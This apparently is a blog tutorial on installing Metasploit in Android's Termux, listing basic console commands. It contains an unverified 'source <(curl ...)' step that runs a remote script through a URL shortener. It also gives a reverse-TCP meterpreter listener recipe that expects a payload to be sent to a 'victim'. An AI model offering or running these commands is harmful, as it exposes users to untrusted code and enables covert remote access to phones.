If you're interested in ethical hacking or penetration testing, then you must have heard about Metasploit. It's one of the most powerful tools used by security experts. The good news? You can install and use Metasploit directly on your Android phone using Termux.

What is Metasploit?
Metasploit is a free and open-source framework used for finding and exploiting vulnerabilities in systems. It has many built-in tools that help you test security, create payloads, and launch exploits. It is mostly used by ethical hackers to test systems in a legal way.
Why Use Metasploit in Termux?
Using Metasploit in Termux is helpful for people who don't have access to a PC or laptop. You can turn your Android phone into a mini hacking device and practice penetration testing anywhere. It's also good for learning the basics before jumping into full Kali Linux tools.
Requirements
- Android phone (preferably 5.0 and above)
- Good internet connection
- Minimum 1.5 GB free storage
- Termux app (download from F-Droid)
Step-by-Step Installation of Metasploit in Termux
1. Update Termux
pkg update && pkg upgrade -y
2. Install Required Packages
pkg install wget curl openssh git ruby python3 ncurses-utils -y
3. Install Metasploit Using Script
source <(curl -fsSL https://kutt.it/msf)
This will install Metasploit and its dependencies automatically. It may take time depending on your internet speed.
4. Run Metasploit
msfconsole
It will start the Metasploit console. You’ll see the banner and can start using commands like help or search to explore the tool.
Basic Metasploit Commands
Here are some useful commands to get started:
help– Shows all commandssearch exploit_name– Find an exploituse exploit_path– Load an exploitshow options– Show required settingsset RHOST target_ip– Set the target IPset payload payload_name– Set the payloadexploit– Launch the attack
Example: Exploiting a Vulnerability (For Learning Only)
Here’s a simple example using Metasploit:
search android/meterpreter/reverse_tcp
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit
This will set up a listener to catch the connection from the victim’s device. You need to send the payload to the victim, which is for learning and ethical purposes only.
How to Update Metasploit in Termux
msfupdate
This command updates the Metasploit Framework to the latest version inside Termux.
Troubleshooting Tips
- If
msfconsoledoes not start, try restarting Termux. - Check your storage space; low memory can cause errors.
- Use a VPN if you're in a country where some scripts are blocked.
Warning!: Always use Metasploit for ethical purposes only. Never try to hack or test someone’s device without permission. It is illegal and punishable by law. Use this tool to learn and improve your cybersecurity skills.
Final Words
That’s how you install and use Metasploit in Termux on Android. It’s a powerful tool, and learning it can help you become a better ethical hacker or security researcher. Explore its features, practice in a legal environment, and stay updated with new exploits and payloads.
If this guide helped you, feel free to share it with your friends or bookmark my blog. For more Termux and hacking tool tutorials, stay tuned!